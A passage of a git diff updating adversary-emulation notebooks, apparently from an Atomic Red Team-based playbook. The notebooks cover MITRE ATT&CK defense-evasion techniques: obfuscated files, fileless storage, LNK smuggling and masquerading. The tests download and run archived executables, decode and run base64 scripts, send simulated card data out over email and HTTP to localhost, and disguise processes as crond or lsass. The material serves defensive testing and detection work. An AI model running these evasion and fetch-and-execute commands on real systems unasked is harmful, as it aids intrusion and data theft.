"7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1027.011.ipynb b/playbook/tactics/defense-evasion/T1027.011.ipynb new file mode 100644 index 00000000..08369e46 --- /dev/null +++ b/playbook/tactics/defense-evasion/T1027.011.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "061e3645", + "metadata": {}, + "source": "# T1027.011 - Fileless Storage\nAdversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) " + }, + { + "cell_type": "markdown", + "id": "76f192e4", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1027.012.ipynb b/playbook/tactics/defense-evasion/T1027.012.ipynb new file mode 100644 index 00000000..f34dc697 --- /dev/null +++ b/playbook/tactics/defense-evasion/T1027.012.ipynb @@ -0,0 +1,38 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "89ba1e82", + "metadata": {}, + "source": "# T1027.012 - LNK Icon Smuggling\nAdversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n" + }, + { + "cell_type": "markdown", + "id": "01775392", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + }, + { + "cell_type": "markdown", + "id": "3bef75e7", + "metadata": {}, + "source": "## Detection\n\n" + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1027.ipynb b/playbook/tactics/defense-evasion/T1027.ipynb index 1ad13180..a1485976 100644 --- a/playbook/tactics/defense-evasion/T1027.ipynb +++ b/playbook/tactics/defense-evasion/T1027.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "f2b542f4", + "id": "404e76f0", "metadata": {}, - "source": "# T1027 - Obfuscated Files or Information\nAdversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) " + "source": "# T1027 - Obfuscated Files or Information\nAdversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) " }, { "cell_type": "markdown", - "id": "77a47a64", + "id": "a5047c55", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9a5115d6", + "id": "8aa89600", "metadata": {}, - "source": "### Atomic Test #1 - Decode base64 Data into Script\nCreates a base64-encoded data file and decodes it into an executable shell script\n\nUpon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` \nand uname -v\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `sh`!\n##### Description: encode the command into base64 file\n\n##### Check Prereq Commands:\n```sh\nexit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho \"echo Hello from the Atomic Red Team && uname -v\" | base64 > /tmp/encoded.dat\n\n```" + "source": "### Atomic Test #1 - Decode base64 Data into Script\nCreates a base64-encoded data file and decodes it into an executable shell script\n\nUpon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` \nand uname -v\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `sh`!\n##### Description: encode the command into base64 file\n\n##### Check Prereq Commands:\n```sh\nif [ -e \"/tmp/encoded.dat\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"b64encode -r -\"; else cmd=\"base64\"; fi;\necho \"echo Hello from the Atomic Red Team && uname -v\" | $cmd > /tmp/encoded.dat\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "617199b9", + "id": "d57ef6d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f3479dae", + "id": "c8e949cd", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ncat /tmp/encoded.dat | base64 -d > /tmp/art.sh\nchmod +x /tmp/art.sh\n/tmp/art.sh\n```" + "```sh\nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"b64decode -r\"; else cmd=\"base64 -d\"; fi;\ncat /tmp/encoded.dat | $cmd > /tmp/art.sh\nchmod +x /tmp/art.sh\n/tmp/art.sh\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d3547a70", + "id": "cebbbc6a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "13b83b0a", + "id": "5bdc92a6", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/encoded.dat \nrm /tmp/art.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1ec238b6", + "id": "44f9f779", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7886ccdf", + "id": "cabdade3", "metadata": {}, "source": [ "### Atomic Test #2 - Execute base64-encoded PowerShell", @@ -72,14 +72,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6395f501", + "id": "030cb943", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "945948fb", + "id": "03c58288", "metadata": {}, "source": [ "### Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry", @@ -92,113 +92,113 @@ { "cell_type": "code", "execution_count": null, - "id": "26291de0", + "id": "6b049d8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "498edabd", + "id": "f5280c15", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Force -ErrorAction Ignore -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion -Name Debug\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a528ccff", + "id": "c342fc75", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "ddc09c2c", + "id": "9717ac2e", "metadata": {}, - "source": "### Atomic Test #4 - Execution from Compressed File\nMimic execution of compressed executable. When successfully executed, calculator.exe will open.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1027.exe must exist on disk at $env:temp\\temp_T1027.zip\\T1027.exe\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path $env:temp\\temp_T1027.zip\\T1027.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip\" -OutFile \"$env:temp\\T1027.zip\"\nExpand-Archive -path \"$env:temp\\T1027.zip\" -DestinationPath \"$env:temp\\temp_T1027.zip\\\" -Force\n\n```" + "source": "### Atomic Test #4 - Execution from Compressed File\nMimic execution of compressed executable. When successfully executed, calculator.exe will open.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1027.exe must exist on disk at PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027.zip\\T1027.exe\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027.zip\\T1027.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1027.zip\"\nExpand-Archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1027.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027.zip\\\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7f915c83", + "id": "0484f990", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c63e0921", + "id": "d915d29d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\temp_T1027.zip\\T1027.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027.zip\\T1027.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "63993857", + "id": "b8363f6c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "5d7b2996", + "id": "90208f68", "metadata": {}, - "source": "#### Cleanup: \n```cmd\ntaskkill /f /im calculator.exe >nul 2>nul\nrmdir /S /Q %temp%\\temp_T1027.zip >nul 2>nul\ndel /Q \"%temp%\\T1027.zip\" >nul 2>nul\n```" + "source": "#### Cleanup: \n```cmd\ntaskkill /f /im calculator.exe >nul 2>nul\ntaskkill /f /im CalculatorApp.exe >nul 2>nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d81b9d9a", + "id": "b0ea68f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "4ef2510c", + "id": "2cee45ea", "metadata": {}, "source": [ "### Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email", "Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSend-MailMessage -From test@corp.com -To test@corp.com -Subject 'T1027_Atomic_Test' -Attachments PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm -SmtpServer 127.0.0.1\n```" + "```powershell\nSend-MailMessage -From test@corp.com -To test@corp.com -Subject 'T1027_Atomic_Test' -Attachments \"PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm\" -SmtpServer 127.0.0.1\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b78742b2", + "id": "6633051b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0bde292e", + "id": "b24ebf24", "metadata": {}, "source": [ "### Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP", "Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nInvoke-WebRequest -Uri 127.0.0.1 -Method POST -Body PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm\n```" + "```powershell\nInvoke-WebRequest -Uri 127.0.0.1 -Method POST -Body \"PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0da1ea06", + "id": "4fe6a782", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "26ef8c83", + "id": "da5bd8df", "metadata": {}, "source": [ "### Atomic Test #7 - Obfuscated Command in PowerShell", @@ -211,14 +211,14 @@ { "cell_type": "code", "execution_count": null, - "id": "68add872", + "id": "996e3472", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "e235abba", + "id": "b60a957b", "metadata": {}, "source": [ "### Atomic Test #8 - Obfuscated Command Line using special Unicode characters", @@ -230,13 +230,93 @@ }, { "cell_type": "markdown", - "id": "dc0344eb", + "id": "8132fb8a", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Snake Malware Encrypted crmlog file", + "The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$file = New-Item $env:windir\\registration\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \"File created: $($file.FullName)\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cc79f634", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "083817b9", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = \"$env:windir\\registration\\\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host \"File deleted: $fullPathToDelete\" } else { Write-Host \"File not found: $fullPathToDelete\" }\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "33728e56", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "00da0607", + "metadata": {}, + "source": "### Atomic Test #10 - Execution from Compressed JScript File\nMimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1027.js must exist on disk at PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\T1027js.js\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\T1027js.js\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/t1027js.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1027js.zip\"\nExpand-Archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1027js.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\\" -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4615c5ba", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "aac59c78", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\T1027js.js\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "63dc578b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "87fdd59a", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\ntaskkill /f /im calculator.exe >nul 2>nul\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6ba13d4f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1e85db6c", "metadata": {}, "source": "## Detection\nDetection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. " }, { "cell_type": "markdown", - "id": "48cf155a", + "id": "02c7cb84", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to introduce decoy systems that can influence an adversary's behavior or allow you to observe how they perform a specific task.\n#### Use Case\nA defender could implement a decoy system to study how and when an adversary obfuscate files and hides information.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -244,13 +324,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.001.ipynb b/playbook/tactics/defense-evasion/T1036.001.ipynb index aae3e902..ac82eb00 100644 --- a/playbook/tactics/defense-evasion/T1036.001.ipynb +++ b/playbook/tactics/defense-evasion/T1036.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "92319d5b", + "id": "aae99b57", "metadata": {}, "source": "# T1036.001 - Invalid Code Signature\nAdversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature." }, { "cell_type": "markdown", - "id": "b57f4111", + "id": "5d81d901", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "006192ba", + "id": "f44a9bf5", "metadata": {}, "source": "## Detection\nCollect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.002.ipynb b/playbook/tactics/defense-evasion/T1036.002.ipynb index d2cd0650..9df4c6ae 100644 --- a/playbook/tactics/defense-evasion/T1036.002.ipynb +++ b/playbook/tactics/defense-evasion/T1036.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9f903782", + "id": "96d17c2c", "metadata": {}, "source": "# T1036.002 - Right-to-Left Override\nAdversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default." }, { "cell_type": "markdown", - "id": "13bb9fdf", + "id": "f4eec826", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "022a893e", + "id": "32236ebc", "metadata": {}, "source": "## Detection\nDetection methods should include looking for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.003.ipynb b/playbook/tactics/defense-evasion/T1036.003.ipynb index 3737292b..1f25a920 100644 --- a/playbook/tactics/defense-evasion/T1036.003.ipynb +++ b/playbook/tactics/defense-evasion/T1036.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6a203499", + "id": "a73d3138", "metadata": {}, "source": "# T1036.003 - Rename System Utilities\nAdversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)" }, { "cell_type": "markdown", - "id": "1f53c726", + "id": "24f92fed", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f320e0c8", + "id": "21cec5be", "metadata": {}, "source": [ "### Atomic Test #1 - Masquerading as Windows LSASS process", @@ -27,31 +27,31 @@ { "cell_type": "code", "execution_count": null, - "id": "97257938", + "id": "24bbd712", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "fc3dcbe6", + "id": "a34e718b", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /Q /F %SystemRoot%\\Temp\\lsass.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4964d4c7", + "id": "12007b01", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4ab51253", + "id": "c0356a97", "metadata": {}, "source": [ - "### Atomic Test #2 - Masquerading as Linux crond process.", + "### Atomic Test #2 - Masquerading as FreeBSD or Linux crond process.", "Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.\n\nUpon successful execution, sh is renamed to `crond` and executed.\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6f0b2c96", + "id": "8899b5fe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "eb6c4a9b", + "id": "277b3ce8", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/crond\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bb51d3cc", + "id": "43ce7b47", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "8c7577df", + "id": "ff296d9a", "metadata": {}, "source": [ "### Atomic Test #3 - Masquerading - cscript.exe running as notepad.exe", @@ -95,62 +95,73 @@ { "cell_type": "code", "execution_count": null, - "id": "13f2a380", + "id": "d5e2dfbf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "a87da0b3", + "id": "ca45df9b", "metadata": {}, "source": "#### Cleanup: 